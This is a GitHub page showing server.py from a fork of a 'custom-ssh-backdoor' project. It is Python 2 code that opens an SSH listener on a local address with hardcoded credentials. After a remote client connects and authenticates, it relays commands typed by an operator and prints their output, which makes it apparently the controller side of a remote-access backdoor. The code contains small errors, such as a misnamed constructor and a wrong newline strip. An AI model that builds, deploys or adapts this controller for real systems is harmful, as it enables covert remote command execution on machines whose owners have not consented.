forked from s0lst1c3/custom-ssh-backdoor
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathserver.py
60 lines (54 loc) · 1.7 KB
/
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import socket
import paramiko
import threading
import sys
host_key = paramiko.RSAKey(filename='/home/joridos/custom-ssh-backdoor/test_rsa.key')
class Server (paramiko.ServerInterface):
def _init_(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
if (username == 'joridos') and (password == 'olh234'):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('192.168.1.100', 22))
sock.listen(100)
print '[+] Listening for connection ...'
client, addr = sock.accept()
except Exception, e:
print '[-] Listen/bind/accept failed: ' + str(e)
sys.exit(1)
print '[+] Got a connection!'
try:
t = paramiko.Transport(client)
try:
t.load_server_moduli()
except:
print '[-] (Failed to load moduli -- gex will be unsupported.)'
raise
t.add_server_key(host_key)
server = Server()
try:
t.start_server(server=server)
except paramiko.SSHException, x:
print '[-] SSH negotiation failed.'
chan = t.accept(20)
print '[+] Authenticated!'
print chan.recv(1024)
while True:
command= raw_input("Enter command: ").strip('n')
chan.send(command)
print chan.recv(1024) + 'n'
except Exception, e:
print '[-] Caught exception: ' + str(e) + ': ' + str(e)
try:
t.close()
except:
pass
sys.exit(1)